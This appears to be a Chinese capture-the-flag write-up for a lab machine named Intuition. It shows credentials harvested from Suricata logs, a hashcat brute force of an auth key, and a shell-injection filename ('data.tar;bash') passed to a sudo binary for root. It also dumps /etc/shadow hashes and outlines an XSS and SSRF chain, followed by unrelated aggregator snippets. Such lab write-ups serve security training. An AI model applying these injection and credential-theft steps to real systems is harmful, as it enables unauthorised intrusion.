-rw-r--r--  1 root root          0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r--  1 root root      73561 Oct 28  2023 stats.log.4.gz
-rw-r--r--  1 root root     376680 Oct 14  2023 stats.log.6.gz
-rw-r--r--  1 root root      67778 Sep 29  2023 stats.log.7.gz
-rw-r--r--  1 root root      26500 May  3 06:21 suricata.log
-rw-r--r--  1 root root      26145 Apr 29 18:27 suricata.log.1
-rw-r--r--  1 root root       3893 Oct 26  2023 suricata.log.1-2024040114.backup
-rw-r--r--  1 root root      68355 Apr  8 14:19 suricata.log.1-2024042213.backup
-rw-r--r--  1 root root      95100 Apr 22 13:26 suricata.log.1-2024042918.backup                                                                                                            -rw-r--r--  1 root root        990 Apr  1 14:50 suricata.log.4.gz
-rw-r--r--  1 root root       1412 Oct 19  2023 suricata.log.6.gz
-rw-r--r--  1 root root       5076 Oct  8  2023 suricata.log.7.gz

这个目录下有很多.gz 文件,全部解压太麻烦,直接使用zgrep可以对gz文件进行搜索,不需要解压

dev_acc@intuition:/var/log/suricata$ zgrep -i "lopez" * --no-filename |jq '.'
{"timestamp": "2024-05-03T06:58:03.365759+0000","flow_id": 1965813157905271,"in_iface": "eth0","event_type": "http","src_ip": "10.10.14.35","src_port": 46580,"dest_ip": "10.10.11.15","dest_port": 80,"proto": "TCP","tx_id": 35,"community_id": "1:4ohTg61tIJYIXsMl+cNNy9C8fvs=","http": {"hostname": "paolosergionavarrolopez.comprezzor.htb","url": "/","http_user_agent": "Fuzz Faster U Fool v2.1.0-dev","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 301,"redirect": "http://comprezzor.htb/","length": 178}
}
{"timestamp": "2024-05-03T06:58:03.367352+0000","flow_id": 1965813157905271,"in_iface": "eth0","event_type": "fileinfo","src_ip": "10.10.11.15","src_port": 80,"dest_ip": "10.10.14.35","dest_port": 46580,"proto": "TCP","http": {"hostname": "paolosergionavarrolopez.comprezzor.htb","url": "/","http_user_agent": "Fuzz Faster U Fool v2.1.0-dev","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 301,"redirect": "http://comprezzor.htb/","length": 178},"app_proto": "http","fileinfo": {"filename": "/","sid": [],"gaps": false,"state": "CLOSED","stored": false,"size": 178,"tx_id": 35}
}
{"timestamp": "2024-05-03T06:58:32.985935+0000","flow_id": 14484960212575,"in_iface": "eth0","event_type": "http","src_ip": "10.10.14.35","src_port": 56246,"dest_ip": "10.10.11.15","dest_port": 80,"proto": "TCP","tx_id": 69,"community_id": "1:BpC7c/pPMXbPzWCM+a+vgTSNLcc=","http": {"hostname": "comprezzor.htb","url": "/lopez","http_user_agent": "feroxbuster/2.7.1","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 404,"length": 207}
}
{"timestamp": "2024-05-03T06:58:32.985943+0000","flow_id": 14484960212575,"in_iface": "eth0","event_type": "fileinfo","src_ip": "10.10.11.15","src_port": 80,"dest_ip": "10.10.14.35","dest_port": 56246,"proto": "TCP","http": {"hostname": "comprezzor.htb","url": "/lopez","http_user_agent": "feroxbuster/2.7.1","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 404,"length": 207},"app_proto": "http","fileinfo": {"filename": "/lopez","sid": [],"gaps": false,"state": "CLOSED","stored": false,"size": 207,"tx_id": 69}
}
{"timestamp": "2023-09-28T17:43:36.099184+0000","flow_id": 1988487100549589,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 37522,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 1,"community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp": {"command": "USER","command_data": "lopez","completion_code": ["331"],"reply": ["Username ok, send password."],"reply_received": "yes"}
}
{"timestamp": "2023-09-28T17:43:52.999165+0000","flow_id": 1988487100549589,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 37522,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 2,"community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp": {"command": "PASS","command_data": "Lopezzz1992%123","completion_code": ["530"],"reply": ["Authentication failed."],"reply_received": "yes"}
}
{"timestamp": "2023-09-28T17:44:32.133372+0000","flow_id": 1218304978677234,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 45760,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 1,"community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp": {"command": "USER","command_data": "lopez","completion_code": ["331"],"reply": ["Username ok, send password."],"reply_received": "yes"}
}
{"timestamp": "2023-09-28T17:44:48.188361+0000","flow_id": 1218304978677234,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 45760,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 2,"community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp": {"command": "PASS","command_data": "Lopezz1992%123","completion_code": ["230"],"reply": ["Login successful."],"reply_received": "yes"}
}
dev_acc@intuition:/var/log/suricata$

在lopze 有关的流量中,ftp登录时,

使用凭证lopez:Lopezzz1992%123登录失败(3个z)

使用凭证lopez:Lopezz1992%123登录成功(2个z)

dev_acc@intuition:/var/log/suricata$ su lopez
Password:Lopezz1992%123
lopez@intuition:/var/log/suricata$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)lopez@intuition:/opt/runner2$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser lopez may run the following commands on intuition:(ALL : ALL) /opt/runner2/runner2

切换账号成功,我们可以以root的权限执行runner2

sys-adm

lopez@intuition:/opt/playbooks$ find / -group sys-adm 2>/dev/null
/opt/runner2
/opt/playbooks

img

显示缺少key

我们之前ftp里面找到了runner的备份文件我们再看看

Runner1-backup

run-test.sh

#!/bin/bash# List playbooks
./runner1 list# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

没有给完全UHI75GHI****,还差4位,可以尝试爆破

runner1.c

// Version : 1#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"int check_auth(const char* auth_key) {unsigned char digest[MD5_DIGEST_LENGTH];MD5((const unsigned char*)auth_key, strlen(auth_key), digest);char md5_str[33];for (int i = 0; i < 16; i++) {sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);}if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {return 1;} else {return 0;}
}void listPlaybooks() {DIR *dir = opendir(PLAYBOOK_LOCATION);if (dir == NULL) {perror("Failed to open the playbook directory");return;}struct dirent *entry;int playbookNumber = 1;while ((entry = readdir(dir)) != NULL) {if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {printf("%d: %s\n", playbookNumber, entry->d_name);playbookNumber++;}}closedir(dir);
}void runPlaybook(const char *playbookName) {char run_command[1024];snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);system(run_command);
}void installRole(const char *roleURL) {char install_command[1024];snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);system(install_command);
}int main(int argc, char *argv[]) {if (argc < 2) {printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);return 1;}int auth_required = 0;char auth_key[128];for (int i = 2; i < argc; i++) {if (strcmp(argv[i], "-a") == 0) {if (i + 1 < argc) {strncpy(auth_key, argv[i + 1], sizeof(auth_key));auth_required = 1;break;} else {printf("Error: -a option requires an auth key.\n");return 1;}}}if (!check_auth(auth_key)) {printf("Error: Authentication failed.\n");return 1;}if (strcmp(argv[1], "list") == 0) {listPlaybooks();} else if (strcmp(argv[1], "run") == 0) {int playbookNumber = atoi(argv[2]);if (playbookNumber > 0) {DIR *dir = opendir(PLAYBOOK_LOCATION);if (dir == NULL) {perror("Failed to open the playbook directory");return 1;}struct dirent *entry;int currentPlaybookNumber = 1;char *playbookName = NULL;while ((entry = readdir(dir)) != NULL) {if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {if (currentPlaybookNumber == playbookNumber) {playbookName = entry->d_name;break;}currentPlaybookNumber++;}}closedir(dir);if (playbookName != NULL) {runPlaybook(playbookName);} else {printf("Invalid playbook number.\n");}} else {printf("Invalid playbook number.\n");}} else if (strcmp(argv[1], "install") == 0) {installRole(argv[2]);} else {printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);return 1;}return 0;
}

可以看到对比的逻辑就是把传入的auth_key 进行md5运算和0feda17076d793c2ef2870d7427ad4ed比较判断是否一致

hashcat-m 3

➜  crack cat target_md5_hash
0feda17076d793c2ef2870d7427ad4ed
➜  crack hashcat -m 0 -a 3 target_md5_hash "UHI75GHI?a?a?a?a" -i --increment-min 12 --show
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP

Reverse

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v3; // rbp@0__int64 fd; // rax@3__int64 v6; // rax@5__int64 v7; // rax@7__int64 v8; // rax@9__int64 v9; // rax@11__int64 v10; // rdi@11__int64 v11; // rax@14__int64 v12; // rax@14__int64 v13; // rax@16__int64 v14; // rax@20__int64 v15; // rax@24__int64 v16; // rax@28__int64 v17; // rax@34__int64 auth_code_key; // rax@34__int64 auth_code_value; // rax@36__int64 *role_file_tar_valiue; // rax@40signed int v21; // [sp-80h] [bp-80h]@22int v22; // [sp-7Ch] [bp-7Ch]@20signed __int64 v23; // [sp-78h] [bp-78h]@22__int64 v24; // [sp-68h] [bp-68h]@3__int64 jsonFd; // [sp-60h] [bp-60h]@5__int64 runObject; // [sp-58h] [bp-58h]@7__int64 action; // [sp-48h] [bp-48h]@11__int64 role_file_tar_key; // [sp-40h] [bp-40h]@34__int64 v29; // [sp-28h] [bp-28h]@14__int64 v30; // [sp-18h] [bp-18h]@20__int64 v31; // [sp-10h] [bp-10h]@28__int64 v32; // [sp-8h] [bp-8h]@1__asm { rep nop edx }v32 = v3;if ( argc != 2 ){sub_1220("Usage: %s <json_file>\n", *argv, envp);return 1;}LODWORD(fd) = fopen_0(argv[1], "r");v24 = fd;if ( !fd ){sub_1250("Failed to open the JSON file");return 1;}LODWORD(v6) = json_loadf_0(fd, 2LL, 0LL);jsonFd = v6;fclose_1(v24);if ( !jsonFd ){fwrite_0("Error parsing JSON data.\n", 1LL, 25LL, stderr);return 1;}LODWORD(v7) = json_object_get_ptr_0(jsonFd, "run");runObject = v7;if ( !v7 || *(_DWORD *)v7 ){fwrite_0("Run key missing or invalid.\n", 1LL, 28LL, stderr);}else{LODWORD(v8) = json_object_get_ptr_0(v7, "action");if ( v8 && *(_DWORD *)v8 == 2 ){LODWORD(v9) = json_string_value_0(v8);action = v9;v10 = v9;if ( !strcmp_0(v9, "list") ){listPlaybooks(v10, "list");}else if ( !strcmp_0(action, "run") ){LODWORD(v11) = json_object_get_ptr_0(runObject, "num");v29 = v11;LODWORD(v12) = json_object_get_ptr_0(jsonFd, "auth_code");if ( !v12 || *(_DWORD *)v12 != 2 || (LODWORD(v13) = json_string_value_0(v12), !check_auth((__int64)&v32, v13)) ){fwrite_0("Authentication key missing or invalid for 'run' action.\n", 1LL, 56LL, stderr);json_decref(jsonFd);return 1;}if ( v29 && *(_DWORD *)v29 == 3 ){v22 = json_integer_value_0(v29);LODWORD(v14) = opendir_0("/opt/playbooks/");v30 = v14;if ( !v14 ){sub_1250("Failed to open the playbook directory");return 1;}v21 = 1;v23 = 0LL;while ( 1 ){LODWORD(v16) = sub_1320(v30);v31 = v16;if ( !v16 )break;if ( *(_BYTE *)(v16 + 18) == 8 ){LODWORD(v15) = sub_1290(v16 + 19, ".yml");if ( v15 ){if ( v21 == v22 ){v23 = v31 + 19;break;}++v21;}}}closedir_0(v30);if ( v23 )runPlaybook((__int64)&v32);elsefwrite_0("Invalid playbook number.\n", 1LL, 25LL, stderr);}else{fwrite_0("Invalid 'num' value for 'run' action.\n", 1LL, 38LL, stderr);}}else if ( !strcmp_0(action, "install") ){LODWORD(v17) = json_object_get_ptr_0(runObject, "role_file");role_file_tar_key = v17;LODWORD(auth_code_key) = json_object_get_ptr_0(jsonFd, "auth_code");if ( !auth_code_key|| *(_DWORD *)auth_code_key != 2|| (LODWORD(auth_code_value) = json_string_value_0(auth_code_key), !check_auth((__int64)&v32, auth_code_value)) )// check auth code ,the key is UHI75GHINKOP{fwrite_0("Authentication key missing or invalid for 'install' action.\n", 1LL, 60LL, stderr);json_decref(jsonFd);return 1;}if ( role_file_tar_key && *(_DWORD *)role_file_tar_key == 2 ){LODWORD(role_file_tar_valiue) = json_string_value_0(role_file_tar_key);installRole((__int64)&v32, role_file_tar_valiue);}else{fwrite_0("Role File missing or invalid for 'install' action.\n", 1LL, 51LL, stderr);}}else{fwrite_0("Invalid 'action' value.\n", 1LL, 24LL, stderr);}}else{fwrite_0("Action key missing or invalid.\n", 1LL, 31LL, stderr);}}json_decref(jsonFd);return 0;
}

installRole()

int __usercall installRole@<eax>(__int64 a1@<rbp>, __int64 *tar_file_path@<rdi>)
{signed __int64 v2; // rsi@2__int64 *v3; // rdi@2__int64 v4; // rdx@2__int64 v5; // rax@4__int64 cmd; // [sp-418h] [bp-418h]@3__int64 v8; // [sp-10h] [bp-10h]@1__int64 v9; // [sp-8h] [bp-8h]@1__asm { rep nop edx }v9 = a1;v8 = *MK_FP(__FS__, 40LL);if ( isTarArchive((__int64)&v9, tar_file_path) ){v2 = 1024LL;snprintf_0(&cmd, 1024LL, "%s install %s", "/usr/bin/ansible-galaxy");v3 = &cmd;system_0(&cmd);}else{v2 = 1LL;v3 = (__int64 *)"Invalid tar archive.\n";fwrite_0("Invalid tar archive.\n", 1LL, 21LL, stderr);}v5 = v8 - *MK_FP(__FS__, 40LL);if ( v8 != *MK_FP(__FS__, 40LL) )LODWORD(v5) = _stack_chk_fail_0(v3, v2, v4);return v5;
}

简单分析一下 installRole这个函数需要传入一个tar文件的路径,并且会检测这个tar文件的内容

走到action = install这个判断下我们需要这样一个json数据

{"run": {"action": "install","role_file": "tar_file.path"},"auth_code": "UHI75GHINKOP"
}

如果我们在role_file的位置使用; 闭合tar_file.path,然后后面加上我们想要执行的命令就可以命令注入

所以我们只需要传入下面这样的json文件

root@intuition:/home/lopez# cat data.json
{"run": {"action":"install","role_file": "/home/lopez/data.tar;bash"},"auth_code": "UHI75GHINKOP"
}

并且把压缩包的名字也修改为data.tar;bash

然后就会在检查的tar文件合法的时候成功绕过

并且会把这个文件名最后拼接最终在system函数后面

img

lopez@intuition:~$ cat data.json
{"run": {"action":"install","role_file": "/tmp/1.tar;bash"},"auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ vim data.json
lopez@intuition:~$ cat data.json
{"run": {"action":"install","role_file": "/home/lopez/data.tar;bash"},"auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ tar -cvf data.tar data.json
data.json
lopez@intuition:~$ pwd
/home/lopez
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Invalid tar archive.
lopez@intuition:~$ ls
content  data.json  data.tar
lopez@intuition:~$ mv data.tar data.tar;bash
mv: 'data.tar' and 'data.tar' are the same file
lopez@intuition:~$ ls ^C
lopez@intuition:~$
lopez@intuition:~$ ^C
lopez@intuition:~$ exit
exit
lopez@intuition:~$ mv data.tar 'data.tar;bash'
lopez@intuition:~$ ls -al
total 48
drwxr-x--- 5 lopez lopez  4096 May  3 08:20  .
drwxr-xr-x 5 root  root   4096 Apr 25 11:49  ..
lrwxrwxrwx 1 root  root      9 Apr  9 18:26  .bash_history -> /dev/null
-rw-r--r-- 1 lopez lopez  3771 Oct 13  2023  .bashrc
drwx------ 2 lopez lopez  4096 May  3 07:36  .cache
-rw-rw-r-- 1 lopez lopez    64 May  3 07:47  content
-rw-rw-r-- 1 lopez lopez   118 May  3 08:19  data.json
-rw-rw-r-- 1 lopez lopez 10240 May  3 08:19 'data.tar;bash'
drwxrwxr-x 3 lopez lopez  4096 May  3 07:46  .local
-rw-r--r-- 1 lopez lopez   807 Oct 13  2023  .profile
drwx------ 2 lopez lopez  4096 Apr 10 08:21  .ssh
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Starting galaxy role install process
idid[WARNING]: - /home/lopez/data.tar was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez#
root@intuition:/home/lopez# whoami
root
root@intuition:/home/lopez# cat /root/root.txt

Shadow

root@intuition:/home/lopez# cat /etc/shadow | grep \$y
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$/RpnqRuqjGaJzDquTAhiG.$CxkGOcqmc2sPEdiTNHySlgqiQwJxr5r6IKNOtuKXjD9:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::

In Summary

user

enum vhost (dashboard、auth、report) → xss 1 get webDav cookie → xss2 get admin cookie→ generate pdf → ssrf (file protocol ,using %20 bypass white list) → read file → dashboard.py → ftp credential → ssrf (ftp protocol) → welcome_note.txt、private-key → dev_acc

root

find user.db in web directory → adam ftp credential → backup for runner → find log file (suricata ) → find net flow about user’s information (adma 、lopez)→ ftp net flow (lopez login successful) →sudo -l runner2 → anaylysic runner2 (reverse and review the backup file ) → crack auth_key →command inject → root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831788.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

连接HiveMQ代理器实现MQTT协议传输

先下载MQTTX: MQTTX: Your All-in-one MQTT Client Toolbox 使用线上免费的MQTTX BROKER:The Free Global Public MQTT Broker | Try Now | EMQ 打开MQTTX&#xff0c;创建连接&#xff0c;点击NEW SUBSCRIPTION,创建一个主题&#xff0c;这里使用test/topic,在下面Json中填写…

日本2024年铃木亮平主演的电影《城市猎人》

《城市猎人》是由佐藤祐市执导、三岛龙朗担任编剧、铃木亮平主演的动作片&#xff0c;于2024年4月25日上线Netflix。 该片改编自北条司的同名漫画&#xff0c;讲述了负责处理黑社会纠纷的清道夫在寻找失踪的Cosplayer时被卷入巨大阴谋的故事 [2]。 相关星图 查看更多 佐藤佑…

中间件之搜索和数据分析组件Elasticsearch

一、概述 1.1介绍 The Elastic Stack, 包括 Elasticsearch、Kibana、Beats 和 Logstash&#xff08;也称为 ELK Stack&#xff09;。 能够安全可靠地获取任何来源、任何格式的数据&#xff0c;然后实时地对数据进行搜索、分析和可视 化。Elaticsearch&#xff0c;简称为 ES&a…

【Android学习】自定义文本框和输入监听

实现功能 以上代码可实现功能&#xff1a; 1 自定义文本框样式 2. 文本框触发形式转变 3. 文本框输入长度监听&#xff0c;达到最大长度关闭软键盘 4. password框触发检测phone框内容 1. drawable自定义形状 我创建了editor_focus.xml 和 editor_unfocus.xml&#xff0c;两者仅…

Codeforces Round 943 (Div. 3 ABCDEFG1G2题) 视频讲解

A. Maximize? Problem Statement You are given an integer x x x. Your task is to find any integer y y y ( 1 ≤ y < x ) (1\le y<x) (1≤y<x) such that gcd ⁡ ( x , y ) y \gcd(x,y)y gcd(x,y)y is maximum possible. Note that if there is more tha…

计算机毕业设计Python+Spark考研预测系统 考研推荐系统 考研数据分析 考研大数据 大数据毕业设计 大数据毕设

安顺学院本科毕业论文(设计)题目申请表 院别&#xff1a;数学与计算机科学 专业&#xff1a;数据科学与大数据 时间&#xff1a;2022年 5月26日 题 目 情 况 题目名称 基于hive数据仓库的考研信息离线分析系统的设计与实现 学生姓名 杨娣荧 学号 201903144042 …

华为鸿蒙系统(Huawei HarmonyOS)

华为鸿蒙系统&#xff08;华为技术有限公司开发的分布式操作系统&#xff09; 华为鸿蒙系统&#xff08;HUAWEI HarmonyOS&#xff09;&#xff0c;是华为公司在2019年8月9日于东莞举行的华为开发者大会&#xff08;HDC.2019&#xff09;上正式发布的分布式操作系统。 华为鸿蒙…

使用DependencyCheck工具检测JAR依赖包的安全漏洞

引言 Dependency-Check 是一个开源工具,用于检测软件项目中使用的第三方库和组件是否存在已知的安全漏洞。它可以帮助开发团队及时发现和解决项目中的潜在安全风险,从而提高软件的安全性。 该工具通过分析项目的依赖关系,识别其中使用的第三方库和组件,并与已知的漏洞数据…

IOS 开发 - block 使用详解

1.Blobk的定义 block的写法相对难记,不必司机应被,只需要在xcode里打出"inlineBlock"--回车, 系统会自动帮你把基础版写法给你匹配出来 //Block的基础声明//等号""之前是blobk的声明,等号“”后面是block的实现/*returnType:返回类型(void、int、String *…

zabbix监控Tongweb7企业版(by lqw+sy)

此贴参考zabbix通过jmx监控Tongweb7企业版&#xff08;by lqw&#xff09;&#xff0c;是在此帖子的基础和同事整理的文档基础上重新部署验证的优化版&#xff0c;使用的是centos7。 优点&#xff1a; 1.不需要通过jmx配置进行监控。&#xff08;jmx配置需要修改tongweb的配置…

IO复用技术(1)——select/poll/epoll原理介绍及使用案例

文章目录 1.Select1.1 工作流程1.2 fd_set函数1.3 select函数1.4 例程 2.poll2.1 poll函数2.2 例程 3.epoll3.1 工作流程3.2 相关函数3.3 epoll的两种工作模式3.4 示例代码 4.总结 原理&#xff1a;使用一个线程来检查多个文件描述符&#xff0c;委托内核进行检查&#xff0c;如…

Mac OS系统如何更新

用了好几年的Mac Book安装软件经常提示需要更高的系统版本&#xff0c;因此要升级系统版本&#xff0c;但是开始在系统设置里面找了一下没有找到升级的按钮&#xff0c;找了资料后才知道如何升级。有以下两种入口 一、App Store搜索MacOs&#xff0c;在出现的搜索结果中选择下载…

微服务----nacos配置及简单使用

目录 什么是nacos 项目在nacos上进行注册 注入nacos依赖 配置application.yml文件 nacos写入配置文件 首先&#xff0c;还是需要导入依赖 然后在nacos中编写配置文件 prod是我自定义的一个命名空间&#xff0c;在这里面进行配置文件编写~ 启动类上加上注解 编写Patt…

SpringBoot+Vue项目企业客户管理系统

一、前言介绍 本文主要论述了如何使用JAVA语言开发一个企业客户管理系统&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论述企业客户管理系统的当前背景以及系统开…

Qt之信号与槽

槽的本质&#xff1a;对信号响应的函数。 信号函数和槽函数通常位于某个类中&#xff0c;和普通的成员函数相⽐&#xff0c;它们的特别之处在于&#xff1a; 信号函数⽤ signals 关键字修饰&#xff0c;槽函数⽤ public slots、protected slots 或者 private slots 修饰。sign…

数据结构---单链表

题目&#xff1a;构造一个单链表。 使用的软件&#xff1a;VS2022使用的语言&#xff1a;C语言使用的项目&#xff1a;test.c Setlist.h Setlish.c 项目实践&#xff1a; Setlist.h的代码为&#xff1a; #pragma once#include<stdio.h> #include<stdlib.h> #incl…

【算法小白周赛2】A.朋友遍天下(easy)C++代码和题解

题目链接&#xff1a;https://www.starrycoding.com/problem/165 题目描述 本题与hard版本有一定区别&#xff0c;仅“拜访时间安排表”的规则相同&#xff0c;hard版本需要进行一定修改才能通过easy版本。 醋酸锌有许多的好友&#xff0c;为了能好好拜访他的每一个好友&…

Java | Leetcode Java题解之第67题二进制求和

题目&#xff1a; 题解&#xff1a; class Solution {public String addBinary(String a, String b) {StringBuffer ans new StringBuffer();int n Math.max(a.length(), b.length()), carry 0;for (int i 0; i < n; i) {carry i < a.length() ? (a.charAt(a.leng…

单调栈|496.下一个更大元素I

力扣题目链接 class Solution { public:vector<int> nextGreaterElement(vector<int>& nums1, vector<int>& nums2) {stack<int> st;vector<int> result(nums1.size(), -1);if (nums1.size() 0) return result;unordered_map<int, …

连接和使用vCenter Server嵌入式vPostgres数据库

vCenter Server 早期支持内嵌(embedded)和外部(external)数据库,内嵌数据库就是vPostgres,基于VMware Postgres数据库(PostgreSQL数据库),外部数据库用的多的是Oracle数据库和SQL Server数据库。因为早期使用内嵌的PostgreSQL数据库只能用于小型环境,比如仅支持几十台…